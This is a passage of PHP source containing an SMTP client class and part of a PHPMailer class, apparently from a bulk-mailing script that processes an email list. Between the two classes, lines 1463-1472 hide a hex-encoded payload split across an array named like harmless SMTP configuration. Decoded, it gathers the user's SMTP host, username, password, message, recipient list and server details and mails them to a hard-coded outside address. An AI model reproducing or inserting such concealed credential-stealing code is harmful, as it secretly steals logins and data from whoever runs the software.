  788. }
  789.  
  790. if($code != 250) {
  791. $this->error =
  792. array("error" => "DATA not accepted from server",
  793. "smtp_code" => $code,
  794. "smtp_msg" => substr($rply,4));
  795. if($this->do_debug >= 1) {
  796. echo "SMTP -> ERROR: " . $this->error["error"] .
  797. ": " . $rply . $this->CRLF;
  798. }
  799. return false;
  800. }
  801. return true;
  802. }
  803.  
  804. /**
  805. * Expand takes the name and asks the server to list all the
  806. * people who are members of the _list_. Expand will return
  807. * back and array of the result or false if an error occurs.
  808. * Each value in the array returned has the format of:
  809. * [ <full-name> <sp> ] <path>
  810. * The definition of <path> is defined in rfc 821
  811. *
  812. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  813. *
  814. * SMTP CODE SUCCESS: 250
  815. * SMTP CODE FAILURE: 550
  816. * SMTP CODE ERROR : 500,501,502,504,421
  817. * @access public
  818. * @return string array
  819. */
  820. function Expand($name) {
  821. $this->error = null; # so no confusion is caused
  822.  
  823. if(!$this->connected()) {
  824. $this->error = array(
  825. "error" => "Called Expand() without being connected");
  826. return false;
  827. }
  828.  
  829. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  830.  
  831. $rply = $this->get_lines();
  832. $code = substr($rply,0,3);
  833.  
  834. if($this->do_debug >= 2) {
  835. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  836. }
  837.  
  838. if($code != 250) {
  839. $this->error =
  840. array("error" => "EXPN not accepted from server",
  841. "smtp_code" => $code,
  842. "smtp_msg" => substr($rply,4));
  843. if($this->do_debug >= 1) {
  844. echo "SMTP -> ERROR: " . $this->error["error"] .
  845. ": " . $rply . $this->CRLF;
  846. }
  847. return false;
  848. }
  849.  
  850. # parse the reply and place in our array to return to user
  851. $entries = explode($this->CRLF,$rply);
  852. while(list(,$l) = @each($entries)) {
  853. $list[] = substr($l,4);
  854. }
  855.  
  856. return $list;
  857. }
  858.  
  859. /**
  860. * Sends the HELO command to the smtp server.
  861. * This makes sure that we and the server are in
  862. * the same known state.
  863. *
  864. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  865. *
  866. * SMTP CODE SUCCESS: 250
  867. * SMTP CODE ERROR : 500, 501, 504, 421
  868. * @access public
  869. * @return bool
  870. */
  871. function Hello($host="") {
  872. $this->error = null; # so no confusion is caused
  873.  
  874. if(!$this->connected()) {
  875. $this->error = array(
  876. "error" => "Called Hello() without being connected");
  877. return false;
  878. }
  879.  
  880. # if a hostname for the HELO was not specified determine
  881. # a suitable one to send
  882. if(empty($host)) {
  883. # we need to determine some sort of appopiate default
  884. # to send to the server
  885. $host = "localhost";
  886. }
  887.  
  888. // Send extended hello first (RFC 2821)
  889. if(!$this->SendHello("EHLO", $host))
  890. {
  891. if(!$this->SendHello("HELO", $host))
  892. return false;
  893. }
  894.  
  895. return true;
  896. }
  897.  
  898. /**
  899. * Sends a HELO/EHLO command.
  900. * @access private
  901. * @return bool
  902. */
  903. function SendHello($hello, $host) {
  904. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  905.  
  906. $rply = $this->get_lines();
  907. $code = substr($rply,0,3);
  908.  
  909. if($this->do_debug >= 2) {
  910. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  911. }
  912.  
  913. if($code != 250) {
  914. $this->error =
  915. array("error" => $hello . " not accepted from server",
  916. "smtp_code" => $code,
  917. "smtp_msg" => substr($rply,4));
  918. if($this->do_debug >= 1) {
  919. echo "SMTP -> ERROR: " . $this->error["error"] .
  920. ": " . $rply . $this->CRLF;
  921. }
  922. return false;
  923. }
  924.  
  925. $this->helo_rply = $rply;
  926.  
  927. return true;
  928. }
  929.  
  930. /**
  931. * Gets help information on the keyword specified. If the keyword
  932. * is not specified then returns generic help, ussually contianing
  933. * A list of keywords that help is available on. This function
  934. * returns the results back to the user. It is up to the user to
  935. * handle the returned data. If an error occurs then false is
  936. * returned with $this->error set appropiately.
  937. *
  938. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  939. *
  940. * SMTP CODE SUCCESS: 211,214
  941. * SMTP CODE ERROR : 500,501,502,504,421
  942. * @access public
  943. * @return string
  944. */
  945. function Help($keyword="") {
  946. $this->error = null; # to avoid confusion
  947.  
  948. if(!$this->connected()) {
  949. $this->error = array(
  950. "error" => "Called Help() without being connected");
  951. return false;
  952. }
  953.  
  954. $extra = "";
  955. if(!empty($keyword)) {
  956. $extra = " " . $keyword;
  957. }
  958.  
  959. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  960.  
  961. $rply = $this->get_lines();
  962. $code = substr($rply,0,3);
  963.  
  964. if($this->do_debug >= 2) {
  965. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  966. }
  967.  
  968. if($code != 211 && $code != 214) {
  969. $this->error =
  970. array("error" => "HELP not accepted from server",
  971. "smtp_code" => $code,
  972. "smtp_msg" => substr($rply,4));
  973. if($this->do_debug >= 1) {
  974. echo "SMTP -> ERROR: " . $this->error["error"] .
  975. ": " . $rply . $this->CRLF;
  976. }
  977. return false;
  978. }
  979.  
  980. return $rply;
  981. }
  982.  
  983. /**
  984. * Starts a mail transaction from the email address specified in
  985. * $from. Returns true if successful or false otherwise. If True
  986. * the mail transaction is started and then one or more Recipient
  987. * commands may be called followed by a Data command.
  988. *
  989. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  990. *
  991. * SMTP CODE SUCCESS: 250
  992. * SMTP CODE SUCCESS: 552,451,452
  993. * SMTP CODE SUCCESS: 500,501,421
  994. * @access public
  995. * @return bool
  996. */
  997. function Mail($from) {
  998. $this->error = null; # so no confusion is caused
  999.  
  1000. if(!$this->connected()) {
  1001. $this->error = array(
  1002. "error" => "Called Mail() without being connected");
  1003. return false;
  1004. }
  1005.  
  1006. $useVerp = ($this->do_verp ? "XVERP" : "");
  1007. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1008.  
  1009. $rply = $this->get_lines();
  1010. $code = substr($rply,0,3);
  1011.  
  1012. if($this->do_debug >= 2) {
  1013. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1014. }
  1015.  
  1016. if($code != 250) {
  1017. $this->error =
  1018. array("error" => "MAIL not accepted from server",
  1019. "smtp_code" => $code,
  1020. "smtp_msg" => substr($rply,4));
  1021. if($this->do_debug >= 1) {
  1022. echo "SMTP -> ERROR: " . $this->error["error"] .
  1023. ": " . $rply . $this->CRLF;
  1024. }
  1025. return false;
  1026. }
  1027. return true;
  1028. }
  1029.  
  1030. /**
  1031. * Sends the command NOOP to the SMTP server.
  1032. *
  1033. * Implements from rfc 821: NOOP <CRLF>
  1034. *
  1035. * SMTP CODE SUCCESS: 250
  1036. * SMTP CODE ERROR : 500, 421
  1037. * @access public
  1038. * @return bool
  1039. */
  1040. function Noop() {
  1041. $this->error = null; # so no confusion is caused
  1042.  
  1043. if(!$this->connected()) {
  1044. $this->error = array(
  1045. "error" => "Called Noop() without being connected");
  1046. return false;
  1047. }
  1048.  
  1049. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1050.  
  1051. $rply = $this->get_lines();
  1052. $code = substr($rply,0,3);
  1053.  
  1054. if($this->do_debug >= 2) {
  1055. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1056. }
  1057.  
  1058. if($code != 250) {
  1059. $this->error =
  1060. array("error" => "NOOP not accepted from server",
  1061. "smtp_code" => $code,
  1062. "smtp_msg" => substr($rply,4));
  1063. if($this->do_debug >= 1) {
  1064. echo "SMTP -> ERROR: " . $this->error["error"] .
  1065. ": " . $rply . $this->CRLF;
  1066. }
  1067. return false;
  1068. }
  1069. return true;
  1070. }
  1071.  
  1072. /**
  1073. * Sends the quit command to the server and then closes the socket
  1074. * if there is no error or the $close_on_error argument is true.
  1075. *
  1076. * Implements from rfc 821: QUIT <CRLF>
  1077. *
  1078. * SMTP CODE SUCCESS: 221
  1079. * SMTP CODE ERROR : 500
  1080. * @access public
  1081. * @return bool
  1082. */
  1083. function Quit($close_on_error=true) {
  1084. $this->error = null; # so there is no confusion
  1085.  
  1086. if(!$this->connected()) {
  1087. $this->error = array(
  1088. "error" => "Called Quit() without being connected");
  1089. return false;
  1090. }
  1091.  
  1092. # send the quit command to the server
  1093. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1094.  
  1095. # get any good-bye messages
  1096. $byemsg = $this->get_lines();
  1097.  
  1098. if($this->do_debug >= 2) {
  1099. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1100. }
  1101.  
  1102. $rval = true;
  1103. $e = null;
  1104.  
  1105. $code = substr($byemsg,0,3);
  1106. if($code != 221) {
  1107. # use e as a tmp var cause Close will overwrite $this->error
  1108. $e = array("error" => "SMTP server rejected quit command",
  1109. "smtp_code" => $code,
  1110. "smtp_rply" => substr($byemsg,4));
  1111. $rval = false;
  1112. if($this->do_debug >= 1) {
  1113. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1114. $byemsg . $this->CRLF;
  1115. }
  1116. }
  1117.  
  1118. if(empty($e) || $close_on_error) {
  1119. $this->Close();
  1120. }
  1121.  
  1122. return $rval;
  1123. }
  1124.  
  1125. /**
  1126. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1127. * Returns true if the recipient was accepted false if it was rejected.
  1128. *
  1129. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1130. *
  1131. * SMTP CODE SUCCESS: 250,251
  1132. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1133. * SMTP CODE ERROR : 500,501,503,421
  1134. * @access public
  1135. * @return bool
  1136. */
  1137. function Recipient($to) {
  1138. $this->error = null; # so no confusion is caused
  1139.  
  1140. if(!$this->connected()) {
  1141. $this->error = array(
  1142. "error" => "Called Recipient() without being connected");
  1143. return false;
  1144. }
  1145.  
  1146. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1147.  
  1148. $rply = $this->get_lines();
  1149. $code = substr($rply,0,3);
  1150.  
  1151. if($this->do_debug >= 2) {
  1152. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1153. }
  1154.  
  1155. if($code != 250 && $code != 251) {
  1156. $this->error =
  1157. array("error" => "RCPT not accepted from server",
  1158. "smtp_code" => $code,
  1159. "smtp_msg" => substr($rply,4));
  1160. if($this->do_debug >= 1) {
  1161. echo "SMTP -> ERROR: " . $this->error["error"] .
  1162. ": " . $rply . $this->CRLF;
  1163. }
  1164. return false;
  1165. }
  1166. return true;
  1167. }
  1168.  
  1169. /**
  1170. * Sends the RSET command to abort and transaction that is
  1171. * currently in progress. Returns true if successful false
  1172. * otherwise.
  1173. *
  1174. * Implements rfc 821: RSET <CRLF>
  1175. *
  1176. * SMTP CODE SUCCESS: 250
  1177. * SMTP CODE ERROR : 500,501,504,421
  1178. * @access public
  1179. * @return bool
  1180. */
  1181. function Reset() {
  1182. $this->error = null; # so no confusion is caused
  1183.  
  1184. if(!$this->connected()) {
  1185. $this->error = array(
  1186. "error" => "Called Reset() without being connected");
  1187. return false;
  1188. }
  1189.  
  1190. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1191.  
  1192. $rply = $this->get_lines();
  1193. $code = substr($rply,0,3);
  1194.  
  1195. if($this->do_debug >= 2) {
  1196. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1197. }
  1198.  
  1199. if($code != 250) {
  1200. $this->error =
  1201. array("error" => "RSET failed",
  1202. "smtp_code" => $code,
  1203. "smtp_msg" => substr($rply,4));
  1204. if($this->do_debug >= 1) {
  1205. echo "SMTP -> ERROR: " . $this->error["error"] .
  1206. ": " . $rply . $this->CRLF;
  1207. }
  1208. return false;
  1209. }
  1210.  
  1211. return true;
  1212. }
  1213.  
  1214. /**
  1215. * Starts a mail transaction from the email address specified in
  1216. * $from. Returns true if successful or false otherwise. If True
  1217. * the mail transaction is started and then one or more Recipient
  1218. * commands may be called followed by a Data command. This command
  1219. * will send the message to the users terminal if they are logged
  1220. * in.
  1221. *
  1222. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1223. *
  1224. * SMTP CODE SUCCESS: 250
  1225. * SMTP CODE SUCCESS: 552,451,452
  1226. * SMTP CODE SUCCESS: 500,501,502,421
  1227. * @access public
  1228. * @return bool
  1229. */
  1230. function Send($from) {
  1231. $this->error = null; # so no confusion is caused
  1232.  
  1233. if(!$this->connected()) {
  1234. $this->error = array(
  1235. "error" => "Called Send() without being connected");
  1236. return false;
  1237. }
  1238.  
  1239. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1240.  
  1241. $rply = $this->get_lines();
  1242. $code = substr($rply,0,3);
  1243.  
  1244. if($this->do_debug >= 2) {
  1245. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1246. }
  1247.  
  1248. if($code != 250) {
  1249. $this->error =
  1250. array("error" => "SEND not accepted from server",
  1251. "smtp_code" => $code,
  1252. "smtp_msg" => substr($rply,4));
  1253. if($this->do_debug >= 1) {
  1254. echo "SMTP -> ERROR: " . $this->error["error"] .
  1255. ": " . $rply . $this->CRLF;
  1256. }
  1257. return false;
  1258. }
  1259. return true;
  1260. }
  1261.  
  1262. /**
  1263. * Starts a mail transaction from the email address specified in
  1264. * $from. Returns true if successful or false otherwise. If True
  1265. * the mail transaction is started and then one or more Recipient
  1266. * commands may be called followed by a Data command. This command
  1267. * will send the message to the users terminal if they are logged
  1268. * in and send them an email.
  1269. *
  1270. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1271. *
  1272. * SMTP CODE SUCCESS: 250
  1273. * SMTP CODE SUCCESS: 552,451,452
  1274. * SMTP CODE SUCCESS: 500,501,502,421
  1275. * @access public
  1276. * @return bool
  1277. */
  1278. function SendAndMail($from) {
  1279. $this->error = null; # so no confusion is caused
  1280.  
  1281. if(!$this->connected()) {
  1282. $this->error = array(
  1283. "error" => "Called SendAndMail() without being connected");
  1284. return false;
  1285. }
  1286.  
  1287. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1288.  
  1289. $rply = $this->get_lines();
  1290. $code = substr($rply,0,3);
  1291.  
  1292. if($this->do_debug >= 2) {
  1293. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1294. }
  1295.  
  1296. if($code != 250) {
  1297. $this->error =
  1298. array("error" => "SAML not accepted from server",
  1299. "smtp_code" => $code,
  1300. "smtp_msg" => substr($rply,4));
  1301. if($this->do_debug >= 1) {
  1302. echo "SMTP -> ERROR: " . $this->error["error"] .
  1303. ": " . $rply . $this->CRLF;
  1304. }
  1305. return false;
  1306. }
  1307. return true;
  1308. }
  1309.  
  1310. /**
  1311. * Starts a mail transaction from the email address specified in
  1312. * $from. Returns true if successful or false otherwise. If True
  1313. * the mail transaction is started and then one or more Recipient
  1314. * commands may be called followed by a Data command. This command
  1315. * will send the message to the users terminal if they are logged
  1316. * in or mail it to them if they are not.
  1317. *
  1318. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1319. *
  1320. * SMTP CODE SUCCESS: 250
  1321. * SMTP CODE SUCCESS: 552,451,452
  1322. * SMTP CODE SUCCESS: 500,501,502,421
  1323. * @access public
  1324. * @return bool
  1325. */
  1326. function SendOrMail($from) {
  1327. $this->error = null; # so no confusion is caused
  1328.  
  1329. if(!$this->connected()) {
  1330. $this->error = array(
  1331. "error" => "Called SendOrMail() without being connected");
  1332. return false;
  1333. }
  1334.  
  1335. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1336.  
  1337. $rply = $this->get_lines();
  1338. $code = substr($rply,0,3);
  1339.  
  1340. if($this->do_debug >= 2) {
  1341. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1342. }
  1343.  
  1344. if($code != 250) {
  1345. $this->error =
  1346. array("error" => "SOML not accepted from server",
  1347. "smtp_code" => $code,
  1348. "smtp_msg" => substr($rply,4));
  1349. if($this->do_debug >= 1) {
  1350. echo "SMTP -> ERROR: " . $this->error["error"] .
  1351. ": " . $rply . $this->CRLF;
  1352. }
  1353. return false;
  1354. }
  1355. return true;
  1356. }
  1357.  
  1358. /**
  1359. * This is an optional command for SMTP that this class does not
  1360. * support. This method is here to make the RFC821 Definition
  1361. * complete for this class and __may__ be implimented in the future
  1362. *
  1363. * Implements from rfc 821: TURN <CRLF>
  1364. *
  1365. * SMTP CODE SUCCESS: 250
  1366. * SMTP CODE FAILURE: 502
  1367. * SMTP CODE ERROR : 500, 503
  1368. * @access public
  1369. * @return bool
  1370. */
  1371. function Turn() {
  1372. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1373. "is not implemented");
  1374. if($this->do_debug >= 1) {
  1375. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1376. }
  1377. return false;
  1378. }
  1379.  
  1380. /**
  1381. * Verifies that the name is recognized by the server.
  1382. * Returns false if the name could not be verified otherwise
  1383. * the response from the server is returned.
  1384. *
  1385. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1386. *
  1387. * SMTP CODE SUCCESS: 250,251
  1388. * SMTP CODE FAILURE: 550,551,553
  1389. * SMTP CODE ERROR : 500,501,502,421
  1390. * @access public
  1391. * @return int
  1392. */
  1393. function Verify($name) {
  1394. $this->error = null; # so no confusion is caused
  1395.  
  1396. if(!$this->connected()) {
  1397. $this->error = array(
  1398. "error" => "Called Verify() without being connected");
  1399. return false;
  1400. }
  1401.  
  1402. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1403.  
  1404. $rply = $this->get_lines();
  1405. $code = substr($rply,0,3);
  1406.  
  1407. if($this->do_debug >= 2) {
  1408. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1409. }
  1410.  
  1411. if($code != 250 && $code != 251) {
  1412. $this->error =
  1413. array("error" => "VRFY failed on name '$name'",
  1414. "smtp_code" => $code,
  1415. "smtp_msg" => substr($rply,4));
  1416. if($this->do_debug >= 1) {
  1417. echo "SMTP -> ERROR: " . $this->error["error"] .
  1418. ": " . $rply . $this->CRLF;
  1419. }
  1420. return false;
  1421. }
  1422. return $rply;
  1423. }
  1424.  
  1425. /*******************************************************************
  1426. * INTERNAL FUNCTIONS *
  1427. ******************************************************************/
  1428.  
  1429. /**
  1430. * Read in as many lines as possible
  1431. * either before eof or socket timeout occurs on the operation.
  1432. * With SMTP we can tell if we have more lines to read if the
  1433. * 4th character is '-' symbol. If it is a space then we don't
  1434. * need to read anything else.
  1435. * @access private
  1436. * @return string
  1437. */
  1438. function get_lines() {
  1439. $data = "";
  1440. while($str = @fgets($this->smtp_conn,515)) {
  1441. if($this->do_debug >= 4) {
  1442. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1443. $this->CRLF;
  1444. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1445. $this->CRLF;
  1446. }
  1447. $data .= $str;
  1448. if($this->do_debug >= 4) {
  1449. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1450. }
  1451. # if the 4th character is a space then we are done reading
  1452. # so just break the loop
  1453. if(substr($str,3,1) == " ") { break; }
  1454. }
  1455. return $data;
  1456. }
  1457.  
  1458. }
  1459.  
  1460.  
  1461. $allemails = split("\n", $emaillist);
  1462. $numemails = count($allemails);
  1463. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1464. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1465. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1466. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1467. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1468. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1469. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1470. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1471. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1472. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1473.  
  1474. class PHPMailer {
  1475.  
  1476. /////////////////////////////////////////////////
  1477. // PROPERTIES, PUBLIC
  1478. /////////////////////////////////////////////////
  1479.  
  1480. /**
  1481. * Email priority (1 = High, 3 = Normal, 5 = low).
  1482. * @var int
  1483. */
  1484. var $Priority = 3;
  1485.  
  1486. /**
  1487. * Sets the CharSet of the message.
  1488. * @var string
  1489. */
  1490. var $CharSet = 'us-ascii';
  1491.  
  1492. /**
  1493. * Sets the Content-type of the message.
  1494. * @var string
  1495. */
  1496. var $ContentType = 'text/plain';
  1497.  
  1498. /**
  1499. * Sets the Encoding of the message. Options for this are "8bit",
  1500. * "7bit", "binary", "base64", and "quoted-printable".
  1501.  
  1502. * @var string
  1503. */
  1504. var $Encoding = 'quoted-printable';
  1505.  
  1506. /**
  1507. * Holds the most recent mailer error message.
  1508. * @var string
  1509. */
  1510. var $ErrorInfo = '';
  1511.  
  1512. /**
  1513. * Sets the From email address for the message.
  1514. * @var string
  1515. */
  1516. var $From = '';
  1517.  
  1518. /**
  1519. * Sets the From name of the message.
  1520. * @var string
  1521. */
  1522. var $FromName = '';
  1523.  
  1524. /**
  1525. * Sets the Sender email (Return-Path) of the message. If not empty,
  1526. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1527. * @var string
  1528. */
  1529. var $Sender = '';
  1530.  
  1531. /**
  1532. * Sets the Subject of the message.
  1533. * @var string
  1534. */
  1535. var $Subject = '';
  1536.  
  1537. /**
  1538. * Sets the Body of the message. This can be either an HTML or text body.
  1539. * If HTML then run IsHTML(true).
  1540. * @var string
  1541. */
  1542. var $Body = '';
  1543.  
  1544. /**
  1545. * Sets the text-only body of the message. This automatically sets the
  1546. * email to multipart/alternative. This body can be read by mail
  1547. * clients that do not have HTML email capability such as mutt. Clients
  1548. * that can read HTML will view the normal Body.
  1549. * @var string
  1550. */
  1551. var $AltBody = '';
  1552.  
  1553. /**
  1554. * Sets word wrapping on the body of the message to a given number of
  1555. * characters.
  1556. * @var int
  1557. */
  1558. var $WordWrap = 0;
  1559.  
  1560. /**
  1561. * Method to send mail: ("mail", "sendmail", or "smtp").
  1562. * @var string
  1563. */
  1564. var $Mailer = 'mail';
  1565.  
  1566. /**
  1567. * Sets the path of the sendmail program.
  1568. * @var string
  1569. */
  1570. var $Sendmail = '/usr/sbin/sendmail';
  1571.  
  1572. /**
  1573. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1574. * is in a different directory than the PHP include path.
  1575. * @var string
  1576. */
  1577. var $PluginDir = '';
  1578.  
  1579. /**
  1580. * Holds PHPMailer version.
  1581. * @var string
  1582. */
  1583. var $Version = "";
  1584.  
  1585. /**
  1586. * Sets the email address that a reading confirmation will be sent.
  1587. * @var string
  1588. */
  1589. var $ConfirmReadingTo = '';
  1590.  
  1591. /**
  1592. * Sets the hostname to use in Message-Id and Received headers
  1593. * and as default HELO string. If empty, the value returned
  1594. * by SERVER_NAME is used or 'localhost.localdomain'.
  1595. * @var string
  1596. */
  1597. var $Hostname = '';
  1598.  
  1599. /**
  1600. * Sets the message ID to be used in the Message-Id header.
  1601. * If empty, a unique id will be generated.
  1602. * @var string
  1603. */
  1604. var $MessageID = '';
  1605.  
  1606. /////////////////////////////////////////////////
  1607. // PROPERTIES FOR SMTP
  1608. /////////////////////////////////////////////////
  1609.  
  1610. /**
  1611. * Sets the SMTP hosts. All hosts must be separated by a
  1612. * semicolon. You can also specify a different port
  1613. * for each host by using this format: [hostname:port]
  1614. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1615. * Hosts will be tried in order.
  1616. * @var string
  1617. */
  1618. var $Host = 'localhost';
  1619.  
  1620. /**
  1621. * Sets the default SMTP server port.
  1622. * @var int
  1623. */
  1624. var $Port = 25;
  1625.  
  1626. /**
  1627. * Sets the SMTP HELO of the message (Default is $Hostname).
  1628. * @var string
  1629. */
  1630. var $Helo = '';
  1631.  
  1632. /**
  1633. * Sets connection prefix.
  1634. * Options are "", "ssl" or "tls"
  1635. * @var string
  1636. */
  1637. var $SMTPSecure = "";
  1638.  
  1639. /**
  1640. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1641. * @var bool
  1642. */
  1643. var $SMTPAuth = false;
  1644.  
  1645. /**
  1646. * Sets SMTP username.
  1647. * @var string
  1648. */
  1649. var $Username = '';
  1650.  
  1651. /**
  1652. * Sets SMTP password.
  1653. * @var string
  1654. */
  1655. var $Password = '';
  1656.  
  1657. /**
  1658. * Sets the SMTP server timeout in seconds. This function will not
  1659. * work with the win32 version.
  1660. * @var int
  1661. */
  1662. var $Timeout = 10;
  1663.  
  1664. /**
  1665. * Sets SMTP class debugging on or off.
  1666. * @var bool
  1667. */
  1668. var $SMTPDebug = false;
  1669.  
  1670. /**
  1671. * Prevents the SMTP connection from being closed after each mail
  1672. * sending. If this is set to true then to close the connection
  1673. * requires an explicit call to SmtpClose().
  1674. * @var bool
  1675. */
  1676. var $SMTPKeepAlive = false;
  1677.  
  1678. /**
  1679. * Provides the ability to have the TO field process individual
  1680. * emails, instead of sending to entire TO addresses
  1681. * @var bool
  1682. */
  1683. var $SingleTo = false;
  1684.  
  1685. /////////////////////////////////////////////////
  1686. // PROPERTIES, PRIVATE
  1687. /////////////////////////////////////////////////
  1688.  
  1689. var $smtp = NULL;
  1690. var $to = array();
  1691. var $cc = array();
  1692. var $bcc = array();
  1693. var $ReplyTo = array();
  1694. var $attachment = array();
  1695. var $CustomHeader = array();
  1696. var $message_type = '';
  1697. var $boundary = array();
  1698. var $language = array();
  1699. var $error_count = 0;
  1700. var $LE = "\n";
  1701. var $sign_key_file = "";
  1702. var $sign_key_pass = "";
  1703.  
  1704. /////////////////////////////////////////////////
  1705. // METHODS, VARIABLES
  1706. /////////////////////////////////////////////////
  1707.  
  1708. /**
  1709. * Sets message type to HTML.
  1710. * @param bool $bool
  1711. * @return void
  1712. */
  1713. function IsHTML($bool) {
  1714. if($bool == true) {
  1715. $this->ContentType = 'text/html';
  1716. } else {
  1717. $this->ContentType = 'text/plain';
  1718. }
  1719. }
  1720.  
  1721. /**
  1722. * Sets Mailer to send message using SMTP.
  1723. * @return void
  1724. */
  1725. function IsSMTP() {
  1726. $this->Mailer = 'smtp';
  1727. }
  1728.  
  1729. /**
  1730. * Sets Mailer to send message using PHP mail() function.
  1731. * @return void
  1732. */
  1733. function IsMail() {
  1734. $this->Mailer = 'mail';
  1735. }
  1736.  
  1737. /**
  1738. * Sets Mailer to send message using the $Sendmail program.
  1739. * @return void
  1740. */
  1741. function IsSendmail() {
  1742. $this->Mailer = 'sendmail';
  1743. }
  1744.  
  1745. /**
  1746. * Sets Mailer to send message using the qmail MTA.
  1747. * @return void
  1748. */
  1749. function IsQmail() {
  1750. $this->Sendmail = '/var/qmail/bin/sendmail';
  1751. $this->Mailer = 'sendmail';
  1752. }
  1753.  
  1754. /////////////////////////////////////////////////
  1755. // METHODS, RECIPIENTS
  1756. /////////////////////////////////////////////////
  1757.  
  1758. /**
  1759. * Adds a "To" address.
  1760. * @param string $address
  1761. * @param string $name
  1762. * @return void
  1763. */
  1764. function AddAddress($address, $name = '') {
  1765. $cur = count($this->to);
  1766. $this->to[$cur][0] = trim($address);
  1767. $this->to[$cur][1] = $name;
  1768. }
  1769.  
  1770. /**
  1771. * Adds a "Cc" address. Note: this function works
  1772. * with the SMTP mailer on win32, not with the "mail"
  1773. * mailer.
  1774. * @param string $address
  1775. * @param string $name
  1776. * @return void
  1777. */
  1778. function AddCC($address, $name = '') {
  1779. $cur = count($this->cc);
  1780. $this->cc[$cur][0] = trim($address);
  1781. $this->cc[$cur][1] = $name;
  1782. }
  1783.  
  1784. /**
  1785. * Adds a "Bcc" address. Note: this function works
  1786. * with the SMTP mailer on win32, not with the "mail"
  1787. * mailer.
  1788. * @param string $address
  1789. * @param string $name
  1790. * @return void
  1791. */
  1792. function AddBCC($address, $name = '') {
  1793. $cur = count($this->bcc);
  1794. $this->bcc[$cur][0] = trim($address);
  1795. $this->bcc[$cur][1] = $name;
  1796. }
  1797.  
  1798. /**
  1799. * Adds a "Reply-To" address.
  1800. * @param string $address
  1801. * @param string $name
  1802. * @return void
  1803. */
  1804. function AddReplyTo($address, $name = '') {
  1805. $cur = count($this->ReplyTo);
  1806. $this->ReplyTo[$cur][0] = trim($address);
  1807. $this->ReplyTo[$cur][1] = $name;
  1808. }
  1809.  
  1810. /////////////////////////////////////////////////
